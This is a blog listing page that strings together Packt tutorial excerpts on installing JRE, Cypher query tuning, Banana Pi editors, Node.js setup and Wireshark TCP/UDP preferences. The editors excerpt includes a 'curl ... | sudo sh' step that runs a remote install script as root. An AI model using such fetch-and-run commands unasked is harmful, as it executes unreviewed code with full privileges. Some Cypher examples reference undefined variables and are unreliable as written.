release, in case we found it, is suitable for running GeoServer. Now we will go through the installation of JRE. Time for action — installing JRE on Windows We will install Oracle JRE 1.6. We are assuming that you didn't find any previous Java installation. Navigate to the Downloads tab at http://www.oracle.com/technetwork/java/javase/downloads/jre6u37-downloads-1859589.html. Select the installer for Windows 64-bit, that is, jre-6u37-windows-x64.exe, and save it in a convenient folder. Select the downloaded file and run it as an administrator; press the Yes button when asked from the User Account control. Go with the default settings and press the Install button. After it has been downloaded, you should see a window informing you about the success of installation. What just happened? We installed JRE on your Windows computer. The first requirement is now fulfilled and you can go over to the Tomcat installation. Time for action — installing JRE on Ubuntu We will install Oracle JRE 1.6. As mentioned previously, there is no Ubuntu package for Java 6; we are going to perform a manual installation. Visit the download area at http://www.oracle.com/technetwork/java/javase/downloads/jre6u37-downloads-1859589.html. Download the tar.gz archive, choosing the 32-bit or 64-bit archive, depending on the Ubuntu edition you are working with. You must accept the license agreement (reading it might be a nice idea) before you can select one of the tar.gz archives (be sure to avoid rpm archives as they are not for Debian-based Linux distribution). Save the archive to your home folder and extract it. ~ $ chmod a+x jre-6u37-linux-x64.bin ~ $ ./jre-6u37-linux-x64.bin The JRE 6 package is extracted into ./jre1.6.0_37 folder. Now move the JRE 6 directory to /opt and create a symbolic link to it in the default folder for libraries. ~ $ sudo mv ./jre1.6.0_37* /opt ~ $ sudo ln -s /opt/jre1.6.0_37 /usr/lib/jvm/ Let's check the installation: ~ $ /opt/jre1.6.0_37/bin/java -version java version "1.6.0_37" Java(TM) SE Runtime Environment (build 1.6.0_37-b06) Java HotSpot(TM) Client VM (build 20.12-b01, mixed mode) Although not strictly requested by the GeoServer installation, it is worth configuring the JRE as the primary Java alternative in your system: ~$ sudo update-alternatives --install /usr/bin/java java /usr/lib/ jvm/jre1.6.0_37/bin/java 0 Now you need to configure the Oracle JRE as default: ~ $ sudo update-alternatives --config java There are 2 choices for the alternative java (providing /usr/bin/ java). Selection Path Priority Status ------------------------------------------------------------ * 0 /usr/lib/jvm/java-6-openjdk-amd64/jre/bin/java 1061 auto mode 1 /usr/lib/jvm/java-6-openjdk-amd64/jre/bin/java 1061 manual mode 2 /usr/lib/jvm/jre1.6.0_37/bin/java 0 manual mode Press enter to keep the current choice[*], or type selection number: 2 update-alternatives: using /usr/lib/jvm/jre1.6.0_37/bin/java to provide /usr/bin/java (java) in manual mode. Clean your box by deleting the archive: ~$ rm jre-6u37-linux-x64.bin What just happened? We installed JRE. Now we can run a Java application on the JVM contained in the JRE. The JVM supports several different kinds of Java application; for example, a console-only application, an applet running in a browser, or a full desktop application. For GeoServer (a web application), we need another component on top of the JVM, that is, a servlet container. Installing Apache Tomcat Having correctly installed the JRE you can now pass on and install the servlet container. Servlet container, or web container, is the component server that interacts with the servlets. It is responsible for managing the lifecycle of servlets, mapping a URL to a particular servlet, and ensuring access security. It should implement Java servlet and JavaServer Pages technologies. As for JRE, you have a few choices here; a brief list is at http://en.wikipedia.org/wiki/Web_container. Apache Tomcat, GlassFish, and JBoss are most popular and are all available in an open source edition. You may wonder which one is the best choice for running GeoServer. In a production environment, usually the same container is shared among several web applications. You are not going to choose the container; the architects and system administrators made their choices and you have to conform to them. As a beginner, you have the opportunity of selecting it! Apache Tomcat should be your first choice as it is widely adopted in the Geoserver developer's community. If you run into any issues, the answer is probably waiting for you in the mailing list archive. We are going to install Apache Tomcat. It is an open source project of Apache foundation (http://tomcat.apache.org) and there are reasons for installing it such as it is widely used, well-documented, and relatively simple to configure. So let's start the Apache Tomcat installation.
Read more
  • 0
  • 0
  • 8203

article-image-advanced-cypher-tricks
Packt
05 Mar 2015
8 min read
Save for later

Advanced Cypher tricks

Packt
05 Mar 2015
8 min read
Cypher is a highly efficient language that not only makes querying simpler but also strives to optimize the result-generation process to the maximum. A lot more optimization in performance can be achieved with the help of knowledge related to the data domain of the application being used to restructure queries. This article by Sonal Raj, the author of Neo4j High Performance, covers a few tricks that you can implement with Cypher for optimization. (For more resources related to this topic, see here.) Query optimizations There are certain techniques you can adopt in order to get the maximum performance out of your Cypher queries. Some of them are: Avoid global data scans: The manual mode of optimizing the performance of queries depends on the developer's effort to reduce the traversal domain and to make sure that only the essential data is obtained in results. A global scan searches the entire graph, which is fine for smaller graphs but not for large datasets. For example: START n =node(*) MATCH (n)-[:KNOWS]-(m) WHERE n.identity = "Batman" RETURN m Since Cypher is a greedy pattern-matching language, it avoids discrimination unless explicitly told to. Filtering data with a start point should be undertaken at the initial stages of execution to speed up the result-generation process. In Neo4j versions greater than 2.0, the START statement in the preceding query is not required, and unless otherwise specified, the entire graph is searched. The use of labels in the graphs and in queries can help to optimize the search process for the pattern. For example: START n =node(*) MATCH (n:superheroes)-[:KNOWS]-(m) WHERE n.identity = "Batman" RETURN m Using the superheroes label in the preceding query helps to shrink the domain, thereby making the operation faster. This is referred to as a label-based scan. Indexing and constraints for faster search: Searches in the graph space can be optimized and made faster if the data is indexed, or we apply some sort of constraint on it. In this way, the traversal avoids redundant matches and goes straight to the desired index location. To apply an index on a label, you can use the following: CREATE INDEX ON: superheroes(identity) Otherwise, to create a constraint on the particular property such as making the value of the property unique so that it can be directly referenced, we can use the following: CREATE CONSTRAINT ON n:superheroes ASSERT n.identity IS UNIQUE We will learn more about indexing, its types, and its utilities in making Neo4j more efficient for large dataset-based operations in the next sections. Avoid Cartesian Products Generation: When creating queries, we should include entities that are connected in some way. The use of unspecific or nonrelated entities can end up generating a lot of unused or unintended results. For example: MATCH (m:Game), (p:Player) This will end up mapping all possible games with all possible players and that can lead to undesired results. Let's use an example to see how to avoid Cartesian products in queries: MATCH ( a:Actor), (m:Movie), (s:Series) RETURN COUNT(DISTINCT a), COUNT(DISTINCT m), COUNT(DISTINCTs) This statement will find all possible triplets of the Actor, Movie, and Series labels and then filter the results. An optimized form of querying will include successive counting to get a final result as follows: MATCH (a:Actor) WITH COUNT(a) as actors MATCH (m:Movie) WITH COUNT(m) as movies, actors MATCH (s:Series) RETURN COUNT(s) as series, movies, actors This increases the 10x improvement in the execution time of this query on the same dataset. Use more patterns in MATCH rather than WHERE: It is advisable to keep most of the patterns used in the MATCH clause. The WHERE clause is not exactly meant for pattern matching; rather it is used to filter the results when used with START and WITH. However, when used with MATCH, it implements constraints to the patterns described. Thus, the pattern matching is faster when you use the pattern with the MATCH section. After finding starting points—either by using scans, indexes, or already-bound points—the execution engine will use pattern matching to find matching subgraphs. As Cypher is declarative, it can change the order of these operations. Predicates in WHERE clauses can be evaluated before, during, or after pattern matching. Split MATCH patterns further: Rather than having multiple match patterns in the same MATCH statement in a comma-separated fashion, you can split the patterns in several distinct MATCH statements. This process considerably decreases the query time since it can now search on smaller or reduced datasets at each successive match stage. When splitting the MATCH statements, you must keep in mind that the best practices include keeping the pattern with labels of the smallest cardinality at the head of the statement. You must also try to keep those patterns generating smaller intermediate result sets at the beginning of the match statements block. Profiling of queries: You can monitor your queries' processing details in the profile of the response that you can achieve with the PROFILE keyword, or setting profile parameter to True while making the request. Some useful information can be in the form of _db_hits that show you how many times an entity (node, relationship, or property) has been encountered. Returning data in a Cypher response has substantial overhead. So, you should strive to restrict returning complete nodes or relationships wherever possible and instead, simply return the desired properties or values computed from the properties. Parameters in queries: The execution engine of Cypher tries to optimize and transform queries into relevant execution plans. In order to optimize the amount of resources dedicated to this task, the use of parameters as compared to literals is preferred. With this technique, Cypher can re-utilize the existing queries rather than parsing or compiling the literal-hbased queries to build fresh execution plans: MATCH (p:Player) –[:PLAYED]-(game) WHERE p.id = {pid} RETURN game When Cypher is building execution plans, it looks at the schema to see whether it can find useful indexes. These index decisions are only valid until the schema changes, so adding or removing indexes leads to the execution plan cache being flushed. Add the direction arrowhead in cases where the graph is to be queries in a directed manner. This will reduce a lot of redundant operations. Graph model optimizations Sometimes, the query optimizations can be a great way to improve the performance of the application using Neo4j, but you can incorporate some fundamental practices while you define your database so that it can make things easier and faster for usage: Explicit definition: If the graph model we are working upon contains implicit relationships between components. A higher efficiency in queries can be achieved when we define these relations in an explicit manner. This leads to faster comparisons but it comes with a drawback that now the graph would require more storage space for an additional entity for all occurrences of data. Let's see this in action with the help of an example. In the following diagram, we see that when two players have played in the same game, they are most likely to know each other. So, instead of going through the game entity for every pair of connected players, we can define the KNOWS relationship explicitly between the players. Property refactoring: This refers to the situation where complex time-consuming operations in the WHERE or MATCH clause can be included directly as properties in the nodes of the graph. This not only saves computation time resulting in much faster queries but it also leads to more organized data storage practices in the graph database for utility. For example: MATCH (m:Movie) WHERE m.releaseDate >1343779201 AND m.releaseDate< 1369094401 RETURN m This query is to compare whether a movie has been released in a particular year; it can be optimized if the release year of the movie is inherently stored in the properties of the movie nodes in the graph as the year range 2012-2013. So, for the new format of the data, the query will now change to this: MATCH (m:Movie)-[:CONTAINS]->(d) WHERE s.name = "2012-2013" RETURN g This gives a marked improvement in the performance of the query in terms of its execution time. Summary These are the various tricks that can be implemented in Cypher for optimization. Resources for Article: Further resources on this subject: Recommender systems dissected [Article] Working with a Neo4j Embedded Database [Article] Adding Graphics to the Map [Article]
Read more
  • 0
  • 0
  • 8190

article-image-editors-and-ides
Packt
08 Jul 2015
10 min read
Save for later

Editors and IDEs

Packt
08 Jul 2015
10 min read
In this article by Daniel Blair, the author of the book Learning Banana Pi, you are going to learn about some editors and the programming languages that are available on the Pi and Linux. These tools will help you write the code that will interact with the hardware through GPIO and on the Pi as a server. (For more resources related to this topic, see here.) Choosing your editor There are many different integrated development environments (generally abbreviated as IDEs) to choose from on Linux. When working on the Banana Pi, you're limited to the software that will run on an ARM-based CPU. Hence, options such as Sublime Text are not available. Some options that you may be familiar with are available for general purpose code editing. Some tools are available for the command line, while others are GUI tools. So, depending on whether you have a monitor or not, you will want to choose an appropriate tool. The following screenshot shows some JavaScript being edited via nano on the command line: Command-line editors The command line is a powerful tool. If you master it, you will rarely need to leave it. There are several editors available for the command line. There has been an ongoing war between the users of two editors: GNU Emacs and Vim. There are many editors like nano (which is my preference), but the war tends to be between the two aforementioned editors. The Emacs editor This is my least favorite command-line editor (just my preference). Emacs is a GNU-flavored editor for the command line. It is often installed by default, but you can easily install it if it is missing by running a quick command, as follows: sudo apt-get install emacs Now, you can edit a file via the CLI by using the following code: emacs <command-line arguments> <your file> The preceding code will open the file in Emacs for you to edit. You can also use this to create new files. You can save and close the editor with a couple of key combinations: Ctrl + X and Ctrl + S Ctrl + X and Ctrl + C Thus, your document will be saved and closed. The Vim editor Vim is actually an extension of Vi, and it is functionally the same thing. Vim is a fine editor. Many won't personally go out of their way to not use it. However, people do find it a bit difficult to remember all the commands. If you do get good at it, though, you can code very quickly. You can install Vim with the command line: sudo apt-get install vim Also, there is a GUI version available that allows interaction with the mouse; this is functionally the same program as the Vim command line. You don't have to be confined to the terminal window. You can install it with an identical command: sudo apt-get install vim-gnome You can edit files easily with Vim via the command line for both Vim and Vim-Gnome, as follows: vim <your file> gvim <your file> The gnome version will open the file in a window There is a handy tutorial that you can use to learn the commands of Vim. You can run the tutorial with the help of the following command: vimtutor This tutorial will teach you how to run this editor, which is awesome because the commands can be a bit complicated at first. The following screenshot shows Vim editing the file that we used earlier: The nano editor The nano editor is my favorite editor for the command line. This is probably because it was the first editor that I was exposed to when I started to learn Linux and experiment with the servers and eventually, the Raspberry Pi and Banana Pi. The nano editor is generally considered the easiest to use and is installed by default on the Banana Pi images. If, for some reason, you need to install it, you can get it quickly with the help of the following command: sudo apt-get install nano The editor is easy to use. It comes with several commands that you will use frequently. To save and close the editor, use the following key combinations: Ctrl + O Ctrl + X You can get help at any time by pressing Ctrl + G. Graphic editors With the exception of gVim, all the editors we just talked about live on the command line. If you are more accustomed to graphical tools, you may be more comfortable with a full-featured IDE. There are a couple of choices in this regard that you may be familiar with. These tools are a little heavier than the command-line tools because you will need to not only run the software, but also render the window. This is not as much of a big deal on the Banana Pi as it is on the Raspberry Pi, because we have more RAM to play with. However, if you have a lot of programs running already, it might cause some performance issues. Eclipse Eclipse is a very popular IDE that is available for everything. You can use it to develop all kinds of systems and use all kinds of programming languages. This is a tool that can be used to do professional development. There are a lot of plugins available in this IDE. It is also used to develop apps for Android (although Android Studio is also available now). Eclipse is written in Java. Hence, in order to make it work, you will require a Java Runtime Environment. The Banana Pi should come equipped with the Java development and runtime environments. If this is not the case, they are not difficult to install. In order to grab the proper version of Eclipse and avoid browsing all the specific versions on the website, you can just install it via the command line by entering the following code: sudo apt-get install eclipse Once Eclipse is installed, you will find it in the application menu under programming tools. The following screenshot shows the Eclipse IDE running on the Banana Pi: The Geany IDE Geany is a lighter weight IDE than Eclipse although the former is not quite fully featured. It is a clean UI that can be customized and used to write a lot of different programming languages. Geany was one of the first IDEs I ever used when first exploring Linux when I was a kid. Geany does not come preinstalled on the Banana Pi images, but it is easy to get via the command line: sudo apt-get install geany Depending on what you plan to do code-wise on the Banana Pi, Geany may be your best bet. It is GUI-based and offers quite a bit of functionality. However, it is a lot faster to load than Eclipse. It may seem familiar for Windows users, and they might find it easier to operate since it resembles Windows software. The following screenshot shows Geany on Linux: Both of these editors, Geany and Eclipse, are not specific to a particular programming language, but they both are slightly better for certain languages. Geany tends to be better for web languages such as HTML, PHP, JavaScript, and CSS, while Eclipse tends to be better for compiled languages such as C++, Go, and Java as well as PHP and Ruby with plugins. If you plan to write scripts or languages that are intended to be run from the command line such as Bash, Ruby, or Python, you may want to stick to the command line and use an editor such as Vim or nano. It is worth your time to play around with the editors and find your preferences. Web IDEs In addition to the command line and GUI editors, there are a couple of web-based IDEs. These essentially turn your Pi into a code server, which allows you to run and even execute certain types of code on an IDE written in web languages. These IDEs are great for learning code, but they are not really replacements for the solutions that were listed previously. Google Coder Google Coder is an educational web IDE that was released as an open source project by Google for the Raspberry Pi. Although there is a readily available image for the Raspberry Pi, we can manually install it for the Banana Pi. The following screenshot shows the Google Coder's interface: The setup is fairly straightforward. We will clone the Git repo and install it with Node.js. If you don't have Git and Node.js installed, you can install them with a quick command in the terminal, as follows: sudo apt-get install nodejs npm git Once it is installed, we can clone the coder repo by using the following code: git clone https://github.com/googlecreativelab/coder After it is cloned, we will move into the directory and install it with the help of the following code: cd ~/coder/coder-base/ npm install It may take several minutes to install, even on the Banana Pi. Next, we will edit the config.js file, which will be used to configure the ports and IP addresses. nano config.js The preceding code will reveal the contents of the file. Change the top values to match the following: exports.listenIP = '127.0.0.1'; exports.listenPort = '8081'; exports.httpListenPort = '8080'; exports.cacheApps = true; exports.httpVisiblePort = '8080'; exports.httpsVisiblePort = '8081'; After you change the settings you need, run a server by using Node.js: nodejs server.js You should now be able to connect to the Pi in a browser either on it or on another computer and use Coder. Coder is an educational tool with a lot of different built-in tutorials. You can use Coder to learn JavaScript, CSS, HTML, and jQuery. Adafruit WebIDE Adafruit has developed its own Web IDE, which is designed to run on the Raspberry Pi and BeagleBone. Since we are using the Banana Pi, it will only run better. This IDE is designed to work with Ruby, Python, and JavaScript, to name a few. It includes a terminal via which you can send commands to the Pi from the browser. It is an interesting tool if you wish to learn how to code. The following screenshot shows the interface of the WebIDE: The installation of WebIDE is very simple compared to that of Google Coder, which took several steps. We will just run one command: curl https://raw.githubusercontent.com/adafruit/Adafruit-WebIDE/alpha/scripts/install.sh | sudo sh After a few minutes, you will see an output that indicates that the server is starting. You will be able to access the IDE just like Google Coder—through a browser from another computer or from itself. It should be noted that you will be required to create a free Bit Bucket account to use this software. Summary In this article, we explored several different programming languages, command-line tools, graphical editors, and even some web IDEs. These tools are valuable for all kinds of projects that you may be working on. Resources for Article: Further resources on this subject: Prototyping Arduino Projects using Python [article] Raspberry Pi and 1-Wire [article] The Raspberry Pi and Raspbian [article]
Read more
  • 0
  • 0
  • 8186
article-image-learning-nodejs-mobile-application-development
Packt
23 Sep 2015
5 min read
Save for later

Learning Node.js for Mobile Application Development

Packt
23 Sep 2015
5 min read
  In Learning Node.js for Mobile Application Development by Christopher Svanefalk and Stefan Buttigieg, the overarching goal of this article is to give you the tools and know-how to install Node.js on multiple OS platforms and how to verify the installation. After reading this article you will know how to install, configure and use the fundamental software components. You will also have a good understanding of why these tools are appropriate for developing modern applications. (For more resources related to this topic, see here.) Why Node.js? Modern apps have several requirements which cannot be provided by the app itself, such as central data storage, communication routing, and user management. In order to provide such services, apps rely on an external software component known as a backend. The backend we will use for this is Node.js, a powerful but strange beast in its category. Node.js is known for being both reliable and highly performing. Node.js comes with its own package management system, NPM (Node Package Manager), through which you can easily install, remove and manage packages for your project. What this article covers? This article covers the installation of Node.js on multiple OS platforms and how to verify the installation. The installation Node.js is delivered as a set of JavaScript libraries, executing on a C/C++ runtime that is built around the Google V8 JavaScript Engine. The two come bundled together for most major operating systems, and we will look at the specifics of installing it. Google V8 JavaScript Engine is the same JavaScript engine that is used in the Chrome browser, built for speed and efficiency. Windows For Windows, there is a dedicated MSI wizard that can be used to install Node.js, which can be downloaded from the project's official website. To do so, go to the main page, navigate to Downloads, and then select Windows Installer. After it is downloaded, run MSI, follow the steps given to select the installation options, and conclude the install. Keep in mind that you will need to restart your system in order to make the changes effective. Linux Most major Linux distributions provide convenient installs of Node.js through their own package management systems. However, it is important to keep in mind that for many of them, NPM will not come bundled with the main Node.js package. Rather, it will be provided as a separate package. We will show how to install both in the following section. Ubuntu/Debian Open a terminal and issue sudo apt-get update to make sure that you have the latest package listings. After this, issue apt-get install nodejsnpm in order to install both Node.js and NPM in one swoop. Fedora/RHEL/CentOS On Fedora 18 or later, open a terminal and issue sudo yum install nodejsnpm. The system will perform the full setup for you. If you are running RHEL or CentOS, you will need to enable the optional EPEL repository. This can be done in conjunction with the install process, so that you do not need to do it again while upgrading, by issuing the sudo yum install nodejsnpm --enablerepo=epel command. Verifying your installation Now that we have finished the install, let's do a sanity check and make sure that everything works as expected. To do so, we can use the Node.js shell, which is an interactive runtime environment that is used to execute JavaScript code. To open it, first open a terminal, and then issue the following on it: node This will start the interpreter, which will appear as a shell, with the input line starting with the > sign. Once you are in it, type the following: console.log(“Hello world!); Then, press Enter. The Hello world! phrase will appear on the next line. Congratulations, your system is now set up to run Node.js! Mac OS X For Mac OS X, you can find a ready-to-install PKG file by going to www.nodejs.org, navigating to Downloads, and selecting the Mac OS X Installer option. Otherwise, you can click on Install, and your package file will automatically be downloaded as shown in the followin screenshot: Once you have downloaded the file, run it and follow the instructions on the screen. It is recommended that you keep all the offered default settings, unless there are compelling reasons for you to change something with regard to your specific machine. Verifying your installation for Mac OS X After the install finishes, open a terminal and start the Node.js shell by issuing the following command: node This will start the interactive node shell where you can execute JavaScript code. To make sure that everything works, try issuing the following command to the interpreter: console.log(“hello world!”); After pressing Enter, the Hello world! phrase will appear on your screen. Congratulations, Node.js is all set up and good to go! Who this article is written for Intended for web developers of all levels of expertise who want to deep dive into cross-platform mobile application development without going through the pains of understanding the languages and native frameworks which form an integral part of developing for different mobile platforms. This article will provide the readers with the necessary basic idea to develop mobile applications with near-native functionality and help them understand the process to develop a successful cross-platform mobile application. Summary In this article, we learned the different techniques that can be used to install Node.js across different platforms. Read Learning Node.js for Mobile Application Development to dive into cross-platform mobile application development. The following are some other related titles: Node.js Design Patterns Web Development with MongoDB and Node.js Deploying Node.js Node Security Resources for Article: Further resources on this subject: Welcome to JavaScript in the full stack[article] Introduction and Composition[article] Deployment and Maintenance [article]
Read more
  • 0
  • 0
  • 8185

article-image-article-udp-tcp-analysis
Packt
18 Dec 2013
4 min read
Save for later

UDP/TCP Analysis

Packt
18 Dec 2013
4 min read
Configuring TCP and UDP preferences for troubleshooting In most of the cases you can use the default Wireshark parameters for TCP and UDP network analysis, but there are also some changes that can be configured. The changes will be configured in the Preferences window. Getting ready For TCP or UDP configuration: Start Wireshark, and from the Edit menu, choose Statistics. Under Protocols, choose TCP or UDP. How to do it... Let's see some parameters that can influence the capture of UDP: You can configure the following parameters in UDP: Show UDP summary in protocol tree: Mark this button if you want the UDP summary line to be shown in the protocol tree (set by default) Try heuristic sub-dissectors first: Try to decode a packet using the heuristic method before using a sub-dissector registered to the specific port Validate the UDP checksum if possible: Validates the UDP checksum Collect process flow information: Collects process flow information By default only the first parameter is set. In most of the cases it is enough. TCP parameters You can configure the following parameters in TCP: Show TCP summary in protocol tree: Mark this button if you want the TCP summary line to be shown in the protocol tree (set by default). Validate the TCP checksum if possible: This feature can slow down performance. In most cases it is not required. Allow subdissector to reassemble TCP streams: This option is for stream analysis (set by default). Relative sequence numbers: When this is set, Wireshark will show you every TCP connection that starts from Seq=0. Track number of bytes in flight: This setting enables Wireshark to track the number of unacknowledged bytes flowing on the network (set by default). Calculate conversation timestamps: This feature enables the calculations of TCP timestamps option. Try heuristic sub-dissectors first: Try to decode a packet using heuristic method before using a sub-dissector registered to the specific port. Ignore TCP Timestamps in summary: Ignore the timestamp option in the TCP header. Do not call subdissector for error packets: This option does not analyze erroneous TCP packets. How it works... There are some parameters in the TCP preferences that I would like to say a few words about. Referring to relative sequence numbers, when you look at a TCP connection you see that it always starts with sequence numbers equal to zero. These are the relative numbers that are normalized to zero by Wireshark. The real numbers are numbers between 0 and 232, picked by the TCP process, which are difficult to follow. The TCP standard does not set any rule for picking this number. The calculating conversations timestamps refers to the timestamp option of the TCP packet. The TCP timestamps option carries two 4-byte timestamp fields, as seen in the next illustration: The problem that the timestamp option comes to solve is the sensitivity of TCP to delay variations. The solution, and written in RFC 1323, is to use TCP options in the following ways (for every TCP connection): The sender places a timestamp in each data segment that it sends (the Tsval field) The receiver reflects these timestamps in ACK segments (the Tsecr field) Then, a single subtraction gives the sender an accurate RTT measurement for every ACK segment (which will correspond to every other data segment, with a sensible receiver). This mechanism is called Round Trip Time Measurement (RTTM). There's more… UDP is a very simple protocol with a very simple header that includes only four fields: source port, destination port, packet length, and checksum. Checksum is used by the receiver to check whether to accept the packet or drop it. In case of a packet drop, there is no recovery mechanism. In some cases, the application will recover it (for example, DNS that sends the request again), and in some cases it won't. TCP is more sophisticated. It is a connection-oriented, reliable protocol, with sequencing mechanism, flow, and congestion control. These subjects will be discussed later in this chapter. SCTP is a reliable, connection-oriented protocol that allows the transfer of multiple streams per connection, optional bundling of multiple user messages into a single SCTP packet, support for cookies, multi-homing, and other mechanisms. It was initially developed for carrying signaling messages in cellular networks, and later implemented with other application protocols.
Read more
  • 0
  • 0
  • 8184
Modal Close icon
Modal Close icon